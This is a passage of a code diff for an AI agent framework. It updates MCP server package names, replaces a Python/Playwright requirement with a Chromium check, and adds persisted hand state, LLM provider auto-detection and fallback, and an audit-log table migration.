|
||||
name = "GITHUB_PERSONAL_ACCESS_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["git", "vcs", "code", "merge-requests", "ci", "devops"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-gitlab"]
|
||||
args = ["-y", "@modelcontextprotocol/server-gitlab"]
|
||||
|
||||
[[required_env]]
|
||||
name = "GITLAB_PERSONAL_ACCESS_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["email", "google", "messaging", "inbox", "communication"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@anthropic/server-gmail"]
|
||||
args = ["-y", "@gongrzhe/server-gmail-autoauth-mcp"]
|
||||
|
||||
[oauth]
|
||||
provider = "google"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["calendar", "scheduling", "google", "events", "meetings"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@anthropic/server-google-calendar"]
|
||||
args = ["-y", "@cocal/google-calendar-mcp"]
|
||||
|
||||
[oauth]
|
||||
provider = "google"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["files", "storage", "google", "documents", "cloud-storage"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@anthropic/server-google-drive"]
|
||||
args = ["-y", "@modelcontextprotocol/server-gdrive"]
|
||||
|
||||
[oauth]
|
||||
provider = "google"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["project-management", "issues", "agile", "atlassian", "tracking"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-atlassian"]
|
||||
args = ["-y", "@aashari/mcp-server-atlassian-jira"]
|
||||
|
||||
[[required_env]]
|
||||
name = "JIRA_API_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["project-management", "issues", "agile", "tracking", "sprint"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-linear"]
|
||||
args = ["-y", "linear-mcp"]
|
||||
|
||||
[[required_env]]
|
||||
name = "LINEAR_API_KEY"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["database", "nosql", "document", "mongo", "queries"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-mongodb"]
|
||||
args = ["-y", "@mongodb-js/mongodb-mcp-server"]
|
||||
|
||||
[[required_env]]
|
||||
name = "MONGODB_URI"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["notes", "wiki", "knowledge-base", "documentation", "databases"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-notion"]
|
||||
args = ["-y", "@notionhq/notion-mcp-server"]
|
||||
|
||||
[[required_env]]
|
||||
name = "NOTION_API_KEY"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["database", "sql", "relational", "postgres", "queries"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-postgres"]
|
||||
args = ["-y", "@modelcontextprotocol/server-postgres"]
|
||||
|
||||
[[required_env]]
|
||||
name = "POSTGRES_CONNECTION_STRING"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["database", "cache", "key-value", "in-memory", "nosql"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-redis"]
|
||||
args = ["-y", "@modelcontextprotocol/server-redis"]
|
||||
|
||||
[[required_env]]
|
||||
name = "REDIS_URL"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["monitoring", "errors", "debugging", "observability", "apm"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-sentry"]
|
||||
args = ["-y", "@sentry/mcp-server"]
|
||||
|
||||
[[required_env]]
|
||||
name = "SENTRY_AUTH_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["chat", "messaging", "team", "channels", "collaboration"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-slack"]
|
||||
args = ["-y", "@modelcontextprotocol/server-slack"]
|
||||
|
||||
[[required_env]]
|
||||
name = "SLACK_BOT_TOKEN"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["database", "sql", "relational", "sqlite", "local", "embedded"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-sqlite"]
|
||||
args = ["-y", "@modelcontextprotocol/server-sqlite"]
|
||||
|
||||
[[required_env]]
|
||||
name = "SQLITE_DB_PATH"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["chat", "messaging", "microsoft", "enterprise", "collaboration"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-teams"]
|
||||
args = ["-y", "teams-mcp"]
|
||||
|
||||
[oauth]
|
||||
provider = "microsoft"
|
||||
|
||||
@@ -8,7 +8,7 @@ tags = ["tasks", "todo", "project-management", "productivity", "gtd"]
|
||||
[transport]
|
||||
type = "stdio"
|
||||
command = "npx"
|
||||
args = ["@modelcontextprotocol/server-todoist"]
|
||||
args = ["-y", "todoist-mcp"]
|
||||
|
||||
[[required_env]]
|
||||
name = "TODOIST_API_KEY"
|
||||
|
||||
@@ -14,39 +14,20 @@ tools = [
|
||||
]
|
||||
|
||||
[[requires]]
|
||||
key = "python3"
|
||||
label = "Python 3 must be installed"
|
||||
key = "chromium"
|
||||
label = "Chromium or Google Chrome must be installed"
|
||||
requirement_type = "binary"
|
||||
check_value = "python"
|
||||
description = "Python 3 is required to run Playwright, the browser automation library that powers this hand."
|
||||
check_value = "chromium"
|
||||
description = "A Chromium-based browser is required. Google Chrome, Chromium, or any Chromium derivative will work. You can also set the CHROME_PATH environment variable to point to your browser binary."
|
||||
|
||||
[requires.install]
|
||||
macos = "brew install python3"
|
||||
windows = "winget install Python.Python.3.12"
|
||||
linux_apt = "sudo apt install python3"
|
||||
linux_dnf = "sudo dnf install python3"
|
||||
linux_pacman = "sudo pacman -S python"
|
||||
manual_url = "https://www.python.org/downloads/"
|
||||
estimated_time = "2-5 min"
|
||||
|
||||
[[requires]]
|
||||
key = "playwright"
|
||||
label = "Playwright must be installed"
|
||||
requirement_type = "binary"
|
||||
check_value = "playwright"
|
||||
description = "Playwright is a browser automation framework. After installing via pip, you also need to install browser binaries."
|
||||
|
||||
[requires.install]
|
||||
macos = "pip3 install playwright && playwright install chromium"
|
||||
windows = "pip install playwright && playwright install chromium"
|
||||
linux_apt = "pip3 install playwright && playwright install chromium"
|
||||
pip = "pip install playwright && playwright install chromium"
|
||||
manual_url = "https://playwright.dev/python/docs/intro"
|
||||
estimated_time = "3-5 min"
|
||||
steps = [
|
||||
"Install Playwright: pip install playwright",
|
||||
"Install browser binaries: playwright install chromium",
|
||||
]
|
||||
macos = "brew install --cask google-chrome"
|
||||
windows = "winget install Google.Chrome"
|
||||
linux_apt = "sudo apt install chromium-browser"
|
||||
linux_dnf = "sudo dnf install chromium"
|
||||
linux_pacman = "sudo pacman -S chromium"
|
||||
manual_url = "https://www.google.com/chrome/"
|
||||
estimated_time = "1-3 min"
|
||||
|
||||
# ─── Configurable settings ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
@@ -187,8 +187,8 @@ mod tests {
|
||||
assert_eq!(def.name, "Browser Hand");
|
||||
assert_eq!(def.category, crate::HandCategory::Productivity);
|
||||
assert!(def.skill_content.is_some());
|
||||
assert!(!def.requires.is_empty()); // requires python3, playwright
|
||||
assert_eq!(def.requires.len(), 2);
|
||||
assert!(!def.requires.is_empty()); // requires chromium
|
||||
assert_eq!(def.requires.len(), 1);
|
||||
assert!(def.tools.contains(&"browser_navigate".to_string()));
|
||||
assert!(def.tools.contains(&"browser_click".to_string()));
|
||||
assert!(def.tools.contains(&"browser_type".to_string()));
|
||||
|
||||
@@ -29,6 +29,8 @@ pub enum HandError {
|
||||
TomlParse(String),
|
||||
#[error("IO error: {0}")]
|
||||
Io(#[from] std::io::Error),
|
||||
#[error("Config error: {0}")]
|
||||
Config(String),
|
||||
}
|
||||
|
||||
pub type HandResult<T> = Result<T, HandError>;
|
||||
|
||||
@@ -52,6 +52,51 @@ impl HandRegistry {
|
||||
}
|
||||
}
|
||||
|
||||
/// Persist active hand state to disk so it survives restarts.
|
||||
pub fn persist_state(&self, path: &std::path::Path) -> HandResult<()> {
|
||||
let entries: Vec<serde_json::Value> = self
|
||||
.instances
|
||||
.iter()
|
||||
.filter(|e| e.status == HandStatus::Active)
|
||||
.map(|e| {
|
||||
serde_json::json!({
|
||||
"hand_id": e.hand_id,
|
||||
"config": e.config,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
let json = serde_json::to_string_pretty(&entries)
|
||||
.map_err(|e| HandError::Config(format!("serialize hand state: {e}")))?;
|
||||
std::fs::write(path, json)
|
||||
.map_err(|e| HandError::Config(format!("write hand state: {e}")))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Load persisted hand state and re-activate hands.
|
||||
/// Returns list of (hand_id, config) that should be activated.
|
||||
pub fn load_state(path: &std::path::Path) -> Vec<(String, HashMap<String, serde_json::Value>)> {
|
||||
let data = match std::fs::read_to_string(path) {
|
||||
Ok(d) => d,
|
||||
Err(_) => return Vec::new(),
|
||||
};
|
||||
let entries: Vec<serde_json::Value> = match serde_json::from_str(&data) {
|
||||
Ok(e) => e,
|
||||
Err(e) => {
|
||||
warn!("Failed to parse hand state file: {e}");
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
entries
|
||||
.into_iter()
|
||||
.filter_map(|e| {
|
||||
let hand_id = e["hand_id"].as_str()?.to_string();
|
||||
let config: HashMap<String, serde_json::Value> =
|
||||
serde_json::from_value(e["config"].clone()).unwrap_or_default();
|
||||
Some((hand_id, config))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Load all bundled hand definitions. Returns count of definitions loaded.
|
||||
pub fn load_bundled(&self) -> usize {
|
||||
let bundled = bundled::bundled_hands();
|
||||
@@ -311,8 +356,23 @@ impl Default for HandRegistry {
|
||||
fn check_requirement(req: &HandRequirement) -> bool {
|
||||
match req.requirement_type {
|
||||
RequirementType::Binary => {
|
||||
// Check if binary exists on PATH
|
||||
which_binary(&req.check_value)
|
||||
// Check if binary exists on PATH.
|
||||
// For python3, also try "python" (Windows ships python not python3).
|
||||
if which_binary(&req.check_value) {
|
||||
return true;
|
||||
}
|
||||
if req.check_value == "python3" {
|
||||
return which_binary("python");
|
||||
}
|
||||
if req.check_value == "chromium" {
|
||||
// Try common Chromium/Chrome binary names across platforms
|
||||
return which_binary("chromium-browser")
|
||||
|| which_binary("google-chrome")
|
||||
|| which_binary("google-chrome-stable")
|
||||
|| which_binary("chrome")
|
||||
|| std::env::var("CHROME_PATH").map(|v| !v.is_empty()).unwrap_or(false);
|
||||
}
|
||||
false
|
||||
}
|
||||
RequirementType::EnvVar | RequirementType::ApiKey => {
|
||||
// Check if env var is set and non-empty
|
||||
|
||||
@@ -50,6 +50,25 @@ pub fn load_config(path: Option<&Path>) -> KernelConfig {
|
||||
tbl.remove("include");
|
||||
}
|
||||
|
||||
// Migrate misplaced api_key/api_listen from [api] section to root level.
|
||||
// The old config schema incorrectly grouped these under [api], so many
|
||||
// users have them in the wrong place. Move them up if not already at root.
|
||||
if let toml::Value::Table(ref mut tbl) = root_value {
|
||||
if let Some(toml::Value::Table(api_section)) = tbl.get("api").cloned() {
|
||||
for key in &["api_key", "api_listen", "log_level"] {
|
||||
if !tbl.contains_key(*key) {
|
||||
if let Some(val) = api_section.get(*key) {
|
||||
tracing::info!(
|
||||
key,
|
||||
"Migrating misplaced config field from [api] to root level"
|
||||
);
|
||||
tbl.insert(key.to_string(), val.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
match root_value.try_into::<KernelConfig>() {
|
||||
Ok(config) => {
|
||||
info!(path = %config_path.display(), "Loaded configuration");
|
||||
|
||||
@@ -567,12 +567,43 @@ impl OpenFangKernel {
|
||||
warn!(
|
||||
provider = %config.default_model.provider,
|
||||
error = %e,
|
||||
"Primary LLM driver init failed — dashboard will still be accessible"
|
||||
"Primary LLM driver init failed — trying auto-detect"
|
||||
);
|
||||
// Auto-detect: scan env for any configured provider key
|
||||
if let Some((provider, model, env_var)) = drivers::detect_available_provider() {
|
||||
let auto_config = DriverConfig {
|
||||
provider: provider.to_string(),
|
||||
api_key: std::env::var(env_var).ok(),
|
||||
base_url: config.provider_urls.get(provider).cloned(),
|
||||
};
|
||||
match drivers::create_driver(&auto_config) {
|
||||
Ok(d) => {
|
||||
info!(
|
||||
provider = %provider,
|
||||
model = %model,
|
||||
"Auto-detected provider from {} — using as default",
|
||||
env_var
|
||||
);
|
||||
driver_chain.push(d);
|
||||
// Update the running config so agents get the right model
|
||||
config.default_model.provider = provider.to_string();
|
||||
config.default_model.model = model.to_string();
|
||||
config.default_model.api_key_env = env_var.to_string();
|
||||
}
|
||||
Err(e2) => {
|
||||
warn!(provider = %provider, error = %e2, "Auto-detected provider also failed");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add fallback providers to the chain
|
||||
// Add fallback providers to the chain (with model names for cross-provider fallback)
|
||||
let mut model_chain: Vec<(Arc<dyn LlmDriver>, String)> = Vec::new();
|
||||
// Primary driver uses empty model name (uses the request's model field as-is)
|
||||
for d in &driver_chain {
|
||||
model_chain.push((d.clone(), String::new()));
|
||||
}
|
||||
for fb in &config.fallback_providers {
|
||||
let fb_config = DriverConfig {
|
||||
provider: fb.provider.clone(),
|
||||
@@ -593,7 +624,8 @@ impl OpenFangKernel {
|
||||
model = %fb.model,
|
||||
"Fallback provider configured"
|
||||
);
|
||||
driver_chain.push(d);
|
||||
driver_chain.push(d.clone());
|
||||
model_chain.push((d, fb.model.clone()));
|
||||
}
|
||||
Err(e) => {
|
||||
warn!(
|
||||
@@ -607,8 +639,8 @@ impl OpenFangKernel {
|
||||
|
||||
// Use the chain, or create a stub driver if everything failed
|
||||
let driver: Arc<dyn LlmDriver> = if driver_chain.len() > 1 {
|
||||
Arc::new(openfang_runtime::drivers::fallback::FallbackDriver::new(
|
||||
driver_chain,
|
||||
Arc::new(openfang_runtime::drivers::fallback::FallbackDriver::with_models(
|
||||
model_chain,
|
||||
))
|
||||
} else if let Some(single) = driver_chain.into_iter().next() {
|
||||
single
|
||||
@@ -759,7 +791,8 @@ impl OpenFangKernel {
|
||||
if let Some(ref provider) = config.memory.embedding_provider {
|
||||
// Explicit config takes priority — use the configured embedding model
|
||||
let api_key_env = config.memory.embedding_api_key_env.as_deref().unwrap_or("");
|
||||
match create_embedding_driver(provider, configured_model, api_key_env) {
|
||||
let custom_url = config.provider_urls.get(provider.as_str()).map(|s| s.as_str());
|
||||
match create_embedding_driver(provider, configured_model, api_key_env, custom_url) {
|
||||
Ok(d) => {
|
||||
info!(provider = %provider, model = %configured_model, "Embedding driver configured from memory config");
|
||||
Some(Arc::from(d))
|
||||
@@ -775,7 +808,7 @@ impl OpenFangKernel {
|
||||
} else {
|
||||
configured_model.as_str()
|
||||
};
|
||||
match create_embedding_driver("openai", model, "OPENAI_API_KEY") {
|
||||
match create_embedding_driver("openai", model, "OPENAI_API_KEY", None) {
|
||||
Ok(d) => {
|
||||
info!("Embedding driver auto-detected: OpenAI");
|
||||
Some(Arc::from(d))
|
||||
@@ -792,7 +825,8 @@ impl OpenFangKernel {
|
||||
} else {
|
||||
configured_model.as_str()
|
||||
};
|
||||
match create_embedding_driver("ollama", model, "") {
|
||||
let ollama_url = config.provider_urls.get("ollama").map(|s| s.as_str());
|
||||
match create_embedding_driver("ollama", model, "", ollama_url) {
|
||||
Ok(d) => {
|
||||
info!("Embedding driver auto-detected: Ollama (local)");
|
||||
Some(Arc::from(d))
|
||||
@@ -900,7 +934,7 @@ impl OpenFangKernel {
|
||||
workflows: WorkflowEngine::new(),
|
||||
triggers: TriggerEngine::new(),
|
||||
background,
|
||||
audit_log: Arc::new(AuditLog::new()),
|
||||
audit_log: Arc::new(AuditLog::with_db(memory.usage_conn())),
|
||||
metering,
|
||||
default_driver: driver,
|
||||
wasm_sandbox,
|
||||
@@ -1027,24 +1061,31 @@ impl OpenFangKernel {
|
||||
&mut restored_entry.manifest.resources,
|
||||
);
|
||||
|
||||
// Apply default_model to restored agents (same logic as spawn)
|
||||
// Apply default_model to restored agents.
|
||||
//
|
||||
// Two cases:
|
||||
// 1. Agent has empty/default provider → always apply default_model
|
||||
// 2. Agent named "assistant" (auto-spawned) → update to match
|
||||
// default_model so config.toml changes take effect on restart
|
||||
{
|
||||
let dm = &kernel.config.default_model;
|
||||
let is_default_provider = restored_entry.manifest.model.provider.is_empty()
|
||||
|| restored_entry.manifest.model.provider == "default";
|
||||
let is_default_model = restored_entry.manifest.model.model.is_empty()
|
||||
|| restored_entry.manifest.model.model == "default";
|
||||
if is_default_provider && is_default_model {
|
||||
let dm = &kernel.config.default_model;
|
||||
let is_auto_spawned = restored_entry.name == "assistant"
|
||||
&& restored_entry.manifest.description == "General-purpose assistant";
|
||||
if is_default_provider && is_default_model || is_auto_spawned {
|
||||
if !dm.provider.is_empty() {
|
||||
restored_entry.manifest.model.provider = dm.provider.clone();
|
||||
}
|
||||
if !dm.model.is_empty() {
|
||||
restored_entry.manifest.model.model = dm.model.clone();
|
||||
}
|
||||
if !dm.api_key_env.is_empty() && restored_entry.manifest.model.api_key_env.is_none() {
|
||||
if !dm.api_key_env.is_empty() {
|
||||
restored_entry.manifest.model.api_key_env = Some(dm.api_key_env.clone());
|
||||
}
|
||||
if dm.base_url.is_some() && restored_entry.manifest.model.base_url.is_none() {
|
||||
if dm.base_url.is_some() {
|
||||
restored_entry.manifest.model.base_url.clone_from(&dm.base_url);
|
||||
}
|
||||
}
|
||||
@@ -2303,6 +2344,9 @@ impl OpenFangKernel {
|
||||
.update_session_id(agent_id, new_session.id)
|
||||
.map_err(KernelError::OpenFang)?;
|
||||
|
||||
// Reset quota tracking so /new clears "token quota exceeded"
|
||||
self.scheduler.reset_usage(agent_id);
|
||||
|
||||
info!(agent_id = %agent_id, "Session reset (summary saved to memory)");
|
||||
Ok(())
|
||||
}
|
||||
@@ -2472,7 +2516,7 @@ impl OpenFangKernel {
|
||||
.take(5)
|
||||
.enumerate()
|
||||
.map(|(i, t)| {
|
||||
let truncated = if t.len() > 200 { &t[..200] } else { t };
|
||||
let truncated = openfang_types::truncate_str(t, 200);
|
||||
format!("{}. {}", i + 1, truncated)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
@@ -2992,6 +3036,9 @@ impl OpenFangKernel {
|
||||
"Hand activated with agent"
|
||||
);
|
||||
|
||||
// Persist hand state so it survives restarts
|
||||
self.persist_hand_state();
|
||||
|
||||
// Return instance with agent set
|
||||
Ok(self
|
||||
.hand_registry
|
||||
@@ -3023,9 +3070,19 @@ impl OpenFangKernel {
|
||||
}
|
||||
}
|
||||
}
|
||||
// Persist hand state so it survives restarts
|
||||
self.persist_hand_state();
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Persist active hand state to disk.
|
||||
fn persist_hand_state(&self) {
|
||||
let state_path = self.config.home_dir.join("hand_state.json");
|
||||
if let Err(e) = self.hand_registry.persist_state(&state_path) {
|
||||
warn!(error = %e, "Failed to persist hand state");
|
||||
}
|
||||
}
|
||||
|
||||
/// Pause a hand (marks it paused; agent stays alive but won't receive new work).
|
||||
pub fn pause_hand(&self, instance_id: uuid::Uuid) -> KernelResult<()> {
|
||||
self.hand_registry
|
||||
@@ -3302,6 +3359,19 @@ impl OpenFangKernel {
|
||||
/// Iterates the agent registry and starts background tasks for agents with
|
||||
/// `Continuous`, `Periodic`, or `Proactive` schedules.
|
||||
pub fn start_background_agents(self: &Arc<Self>) {
|
||||
// Restore previously active hands from persisted state
|
||||
let state_path = self.config.home_dir.join("hand_state.json");
|
||||
let saved_hands = openfang_hands::registry::HandRegistry::load_state(&state_path);
|
||||
if !saved_hands.is_empty() {
|
||||
info!("Restoring {} persisted hand(s)", saved_hands.len());
|
||||
for (hand_id, config) in saved_hands {
|
||||
match self.activate_hand(&hand_id, config) {
|
||||
Ok(inst) => info!(hand = %hand_id, instance = %inst.instance_id, "Hand restored"),
|
||||
Err(e) => warn!(hand = %hand_id, error = %e, "Failed to restore hand"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let agents = self.registry.list();
|
||||
let mut bg_agents: Vec<(openfang_types::agent::AgentId, String, ScheduleMode)> =
|
||||
Vec::new();
|
||||
@@ -4643,8 +4713,8 @@ fn apply_budget_defaults(
|
||||
budget: &openfang_types::config::BudgetConfig,
|
||||
resources: &mut ResourceQuota,
|
||||
) {
|
||||
// Only override hourly if agent has the built-in default (1.0) and global is set
|
||||
if budget.max_hourly_usd > 0.0 && resources.max_cost_per_hour_usd == 1.0 {
|
||||
// Only override hourly if agent has unlimited (0.0) and global is set
|
||||
if budget.max_hourly_usd > 0.0 && resources.max_cost_per_hour_usd == 0.0 {
|
||||
resources.max_cost_per_hour_usd = budget.max_hourly_usd;
|
||||
}
|
||||
// Only override daily/monthly if agent has unlimited (0.0) and global is set
|
||||
@@ -5222,7 +5292,7 @@ impl KernelHandle for OpenFangKernel {
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
agents
|
||||
.iter()
|
||||
.map(|(url, card)| (card.name.clone(), url.clone()))
|
||||
.map(|(_, card)| (card.name.clone(), card.url.clone()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
@@ -5235,7 +5305,7 @@ impl KernelHandle for OpenFangKernel {
|
||||
agents
|
||||
.iter()
|
||||
.find(|(_, card)| card.name.to_lowercase() == name_lower)
|
||||
.map(|(url, _)| url.clone())
|
||||
.map(|(_, card)| card.url.clone())
|
||||
}
|
||||
|
||||
async fn send_channel_message(
|
||||
@@ -5274,6 +5344,59 @@ impl KernelHandle for OpenFangKernel {
|
||||
Ok(format!("Message sent to {} via {}", recipient, channel))
|
||||
}
|
||||
|
||||
async fn send_channel_media(
|
||||
&self,
|
||||
channel: &str,
|
||||
recipient: &str,
|
||||
media_type: &str,
|
||||
media_url: &str,
|
||||
caption: Option<&str>,
|
||||
filename: Option<&str>,
|
||||
) -> Result<String, String> {
|
||||
let adapter = self
|
||||
.channel_adapters
|
||||
.get(channel)
|
||||
.ok_or_else(|| {
|
||||
let available: Vec<String> = self
|
||||
.channel_adapters
|
||||
.iter()
|
||||
.map(|e| e.key().clone())
|
||||
.collect();
|
||||
format!(
|
||||
"Channel '{}' not found. Available channels: {:?}",
|
||||
channel, available
|
||||
)
|
||||
})?
|
||||
.clone();
|
||||
|
||||
let user = openfang_channels::types::ChannelUser {
|
||||
platform_id: recipient.to_string(),
|
||||
display_name: recipient.to_string(),
|
||||
openfang_user: None,
|
||||
};
|
||||
|
||||
let content = match media_type {
|
||||
"image" => openfang_channels::types::ChannelContent::Image {
|
||||
url: media_url.to_string(),
|
||||
caption: caption.map(|s| s.to_string()),
|
||||
},
|
||||
"file" => openfang_channels::types::ChannelContent::File {
|
||||
url: media_url.to_string(),
|
||||
filename: filename.unwrap_or("file").to_string(),
|
||||
},
|
||||
_ => {
|
||||
return Err(format!("Unsupported media type: '{media_type}'. Use 'image' or 'file'."));
|
||||
}
|
||||
};
|
||||
|
||||
adapter
|
||||
.send(&user, content)
|
||||
.await
|
||||
.map_err(|e| format!("Channel media send failed: {e}"))?;
|
||||
|
||||
Ok(format!("{} sent to {} via {}", media_type, recipient, channel))
|
||||
}
|
||||
|
||||
async fn spawn_agent_checked(
|
||||
&self,
|
||||
manifest_toml: &str,
|
||||
|
||||
@@ -343,6 +343,11 @@ fn estimate_cost_rates(model: &str) -> (f64, f64) {
|
||||
return (0.40, 0.40);
|
||||
}
|
||||
|
||||
// ── Venice.ai ──────────────────────────────────────────────
|
||||
if model.contains("venice") {
|
||||
return (0.20, 0.90);
|
||||
}
|
||||
|
||||
// ── Open-source (Groq, Together, etc.) ─────────────────────
|
||||
if model.contains("llama-4-maverick") {
|
||||
return (0.50, 0.77);
|
||||
|
||||
@@ -177,6 +177,21 @@ impl AgentRegistry {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Update an agent's fallback model chain.
|
||||
pub fn update_fallback_models(
|
||||
&self,
|
||||
id: AgentId,
|
||||
fallback_models: Vec<openfang_types::agent::FallbackModel>,
|
||||
) -> OpenFangResult<()> {
|
||||
let mut entry = self
|
||||
.agents
|
||||
.get_mut(&id)
|
||||
.ok_or_else(|| OpenFangError::AgentNotFound(id.to_string()))?;
|
||||
entry.manifest.fallback_models = fallback_models;
|
||||
entry.last_active = chrono::Utc::now();
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Update an agent's skill allowlist.
|
||||
pub fn update_skills(&self, id: AgentId, skills: Vec<String>) -> OpenFangResult<()> {
|
||||
let mut entry = self
|
||||
|
||||
@@ -100,6 +100,15 @@ impl AgentScheduler {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Reset usage tracking for an agent (e.g. on session reset).
|
||||
pub fn reset_usage(&self, agent_id: AgentId) {
|
||||
if let Some(mut tracker) = self.usage.get_mut(&agent_id) {
|
||||
tracker.total_tokens = 0;
|
||||
tracker.tool_calls = 0;
|
||||
tracker.window_start = Instant::now();
|
||||
}
|
||||
}
|
||||
|
||||
/// Abort an agent's active task.
|
||||
pub fn abort_task(&self, agent_id: AgentId) {
|
||||
if let Some((_, handle)) = self.tasks.remove(&agent_id) {
|
||||
|
||||
@@ -54,10 +54,11 @@ impl SetupWizard {
|
||||
/// model configuration, capabilities, and schedule.
|
||||
pub fn build_plan(intent: AgentIntent) -> SetupPlan {
|
||||
// Map model tier to provider/model
|
||||
// Use "default" so the kernel applies config.toml's [default_model].
|
||||
// Only "complex" tier gets an explicit Anthropic override.
|
||||
let (provider, model) = match intent.model_tier.as_str() {
|
||||
"simple" => ("groq", "llama-3.3-70b-versatile"),
|
||||
"complex" => ("anthropic", "claude-sonnet-4-20250514"),
|
||||
_ => ("groq", "llama-3.3-70b-versatile"), // medium default
|
||||
_ => ("default", "default"),
|
||||
};
|
||||
|
||||
// Build capabilities from intent
|
||||
@@ -285,7 +286,7 @@ mod tests {
|
||||
let plan = SetupWizard::build_plan(intent);
|
||||
|
||||
assert_eq!(plan.manifest.name, "research-bot");
|
||||
assert_eq!(plan.manifest.model.provider, "groq");
|
||||
assert_eq!(plan.manifest.model.provider, "default");
|
||||
assert!(plan
|
||||
.manifest
|
||||
.capabilities
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
use rusqlite::Connection;
|
||||
|
||||
/// Current schema version.
|
||||
const SCHEMA_VERSION: u32 = 7;
|
||||
const SCHEMA_VERSION: u32 = 8;
|
||||
|
||||
/// Run all migrations to bring the database up to date.
|
||||
pub fn run_migrations(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
@@ -39,6 +39,10 @@ pub fn run_migrations(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
migrate_v7(conn)?;
|
||||
}
|
||||
|
||||
if current_version < 8 {
|
||||
migrate_v8(conn)?;
|
||||
}
|
||||
|
||||
set_schema_version(conn, SCHEMA_VERSION)?;
|
||||
Ok(())
|
||||
}
|
||||
@@ -299,6 +303,31 @@ fn migrate_v7(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Version 8: Add audit_entries table for persistent Merkle audit trail.
|
||||
fn migrate_v8(conn: &Connection) -> Result<(), rusqlite::Error> {
|
||||
conn.execute_batch(
|
||||
"
|
||||
CREATE TABLE IF NOT EXISTS audit_entries (
|
||||
seq INTEGER PRIMARY KEY,
|
||||
timestamp TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
detail TEXT NOT NULL,
|
||||
outcome TEXT NOT NULL,
|
||||
prev_hash TEXT NOT NULL,
|
||||
hash TEXT NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_agent ON audit_entries(agent_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_entries(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_entries(action);
|
||||
|
||||
INSERT OR IGNORE INTO migrations (version, applied_at, description)
|
||||
VALUES (8, datetime('now'), 'Add audit_entries table for persistent Merkle audit trail');
|
||||
",
|
||||
)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
@@ -130,11 +130,19 @@ impl StructuredStore {
|
||||
"ALTER TABLE agents ADD COLUMN session_id TEXT DEFAULT ''",
|
||||
[],
|
||||
);
|
||||
// Add identity column (migration compat)
|
||||
let _ = conn.execute(
|
||||
"ALTER TABLE agents ADD COLUMN identity TEXT DEFAULT '{}'",
|
||||
[],
|
||||
);
|
||||
|
||||
let identity_json = serde_json::to_string(&entry.identity)
|
||||
.map_err(|e| OpenFangError::Serialization(e.to_string()))?;
|
||||
|
||||
conn.execute(
|
||||
"INSERT INTO agents (id, name, manifest, state, created_at, updated_at, session_id)
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)
|
||||
ON CONFLICT(id) DO UPDATE SET name = ?2, manifest = ?3, state = ?4, updated_at = ?6, session_id = ?7",
|
